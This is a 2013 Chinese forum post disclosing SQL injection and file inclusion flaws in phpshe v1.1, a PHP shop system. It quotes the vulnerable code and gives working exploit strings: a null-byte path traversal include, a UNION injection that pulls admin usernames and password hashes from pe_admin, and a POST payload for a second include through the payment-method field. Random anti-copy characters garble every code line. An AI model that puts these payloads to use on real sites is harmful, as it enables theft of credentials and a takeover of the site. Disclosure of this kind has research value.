找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2082|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
% k, l/ b. N# y8 m1 N2 H0 r. T/* Phpshe v1.1 Vulnerability
1 [8 r. `/ U4 j/* ========================: t5 B, @/ I; n+ O) z
/* By: : Kn1f3+ w% a( J& H+ x" `" U
/* E-Mail : 681796@qq.com3 X/ E  U) w' N' v% J* J7 ?
/*******************************************************/! V9 c6 N% ~5 U3 c% ]/ g
0×00 整体大概参数传输
/ y, u1 p5 r6 k* ?& V
4 W8 a5 g' N1 w( [' s( P. |
: [- M, O7 A$ [. U* C9 n, B

# h, Q4 f3 x0 z3 K//common.php# J  b) l- _; @
if (get_magic_quotes_gpc()) {) n! E8 |0 ]7 x; q# Q
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
7 _5 i! t. L6 n; p! e; q& \- Q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');# k6 O9 Z6 p2 j! ?& |9 w1 `# x" a1 f
}
3 f5 Q3 [! B; T8 e! gelse {8 }, ^: q2 f( a5 b* r! ]2 ^1 H# z
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');5 k8 T% |9 M/ j4 x1 ?
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');$ g* @2 F7 t* d+ A: }: n/ K1 K
}$ |  @" |8 i  Y6 Z9 e9 q
session_start();1 x/ D1 ]& ?/ |; W4 x
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');3 `, }  `# G# _$ k4 {
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');- G' l. ~. l( w" r  N

. V- h* m+ R" v( j- r; O0×01 包含漏洞
) L. O; e* ]( H  q  m; p9 O & L! B) j' w" ~5 \
+ o- f% W$ y1 V8 Y6 I
//首页文件
6 R: {" [$ r) Y* q' N<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);2 k& A* g% w7 w0 @1 s* X2 v# @
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
1 E9 B$ `, p  I* `, v/ Cpe_result();* p) f4 y; c2 V# ^- `# b8 x6 E( s
?>1 F# W& f4 ]4 p" ]$ B* I; [0 c
//common 文件 第15行开始
! D5 _; ^2 ?1 ]. Surl路由配置* R, r( K$ C3 {( ^' I
$module = $mod = $act = 'index';) Z& o4 z3 g+ n
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);; {  D1 C4 U3 ~) k, g7 G
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
4 X! n: g. z. ^6 ]$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
6 W) a9 I8 k/ j+ ~//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%005 t1 \' D  f8 C9 C' y


. @- S6 Q. O( r1 J  W5 k% n
: e# j5 G/ x- m& f 0×02 搜索注入# z* h/ q# d! Y# _
) W8 o. M. f9 H* d& W( E% J: h
<code id="code2">

//product.php文件
4 _. L- X- G- ~, P' t# X+ w- Bcase 'list':% J7 N2 |: x7 ?7 R3 Z
$category_id = intval($id);
& L4 F. X# @5 o$ d$info = $db->pe_select('category', array('category_id'=>$category_id));
; b% Z6 F3 e: u" b9 k1 M//搜索
% G! A* V: v& q# c+ B$sqlwhere = " and `product_state` = 1";" N0 k6 [7 Y* X; c5 e
pe_lead('hook/category.hook.php');, z  b2 [  R  R6 h3 g- `: t4 |" L
if ($category_id) {
  {0 N9 d: J. S- l' d' p: T4 Jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";$ x% e% I7 r& B) j' z% E; E+ P
}5 E% D; I& ]: m) d5 z9 m
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤- f+ w% ^; ]- g5 x# j4 f7 `
if ($_g_orderby) {5 b0 w! N  B1 @4 U" |9 z% m- r9 i3 `
$orderby = explode('_', $_g_orderby);& f' [- d# t8 \% t0 R
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";3 H9 U- ~8 Q" |+ g, G; H
}
# Y) n0 c& O# Y2 l/ Telse {
2 s. f# s8 ^2 q7 e4 W. {$sqlwhere .= " order by `product_id` desc";
( x# U5 {4 G' d4 O  n2 o: E}
8 L" C: k. i, J; P$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));) |6 j: ^5 k* |+ I9 T
//热卖排行
$ M; j3 n) S% V$product_hotlist = product_hotlist();3 W' d6 j- d- G
//当前路径
4 G, [6 ?8 D) e4 w1 y/ B$nowpath = category_path($category_id);" k2 j/ t- F" a/ n* r: P& Z! {6 q
$seo = pe_seo($info['category_name']);! _4 y0 S9 T" |2 A4 ]* `& U
include(pe_tpl('product_list.html'));# N/ y1 T5 K) ^0 B% _
//跟进selectall函数库
6 y, j5 q, w. G# A' h5 P0 k' Wpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
* t+ {! a- z% N  l" z6 j5 u{
3 Y: P( M" p1 j7 S% {4 m//处理条件语句3 E# Z+ N( I( w7 h  o/ o$ k/ r
$sqlwhere = $this->_dowhere($where);5 a: w* d2 T4 \5 U* l
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);; ^% w' V% s0 W* ~
}& M: `; H) \! Q% k
//exp
  E& F$ m2 @: Z  b( B! I) O1 vproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='17 n# i$ F0 ]) c, L, M1 t

</code>/ s: c# q  J6 M, s
- t4 b+ X" W$ T7 f
0×03 包含漏洞2; G8 F% _1 \2 L
, H0 \3 ~5 S7 o
<code id="code3">

//order.php

case 'pay':


3 N/ H4 U" u; J7 D$order_id = pe_dbhold($_g_id);


8 z& O' h: b8 z# W# y: D" A( B* S$cache_payway = cache::get('payway');

! n, I8 e& q8 C" C2 ~
foreach($cache_payway as $k => $v) {


4 L  _% m: u" n: n. p1 q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

( O; H- @$ S$ h2 g* x$ [2 B
if ($k == 'bank') {


' [2 A0 h6 [  l) V) j6 c$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


, H; v0 {( i8 j1 g& b0 y}

6 e' C% j) i( r
}


; C( p1 J+ z2 S+ m$ S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


3 s1 f& b& J; z. I3 G, i8 y, \+ p!$order['order_id'] && pe_error('订单号错误...');

, A/ h" _  e! l$ x
if (isset($_p_pesubmit)) {

, C. l* G% V+ ~% o
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) F* V2 [7 b1 S/ ^) p: ?
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


% a4 y% ]3 J* _/ {5 ]. }3 Aforeach ($info_list as $v) {

% M1 Z0 j* z. y) e7 l% A7 p
$order['order_name'] .= "{$v['product_name']};";3 |0 m, g! j8 }$ ^$ U* X# r) f' d

& x6 Z/ y- \6 |  i/ G& J) E
}

) R6 R; d  c# N4 l" Q5 p+ k7 T7 P
echo '正在为您连接支付网站,请稍后...';

& [+ s2 ?" v4 o6 R
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

# @6 R" Q9 }3 A3 W  [
}//当一切准备好的时候就可以进行"鸡肋包含了"

! ]9 X) P- U; K% L% a+ I! j
else {

7 y7 b# r! l! e  J% h
pe_error('支付错误...');


4 b6 i: c, E0 O9 T2 n}

1 r0 x7 W2 u/ P+ h0 t5 A
}

* Y6 e, q9 U# `: E! V( ?$ e8 R
$seo = pe_seo('选择支付方式');

4 E4 M5 E. G. `5 L8 d
include(pe_tpl('order_pay.html'));

5 B- i) z8 C1 ]5 \; r
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- V& f& N& p7 Mhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表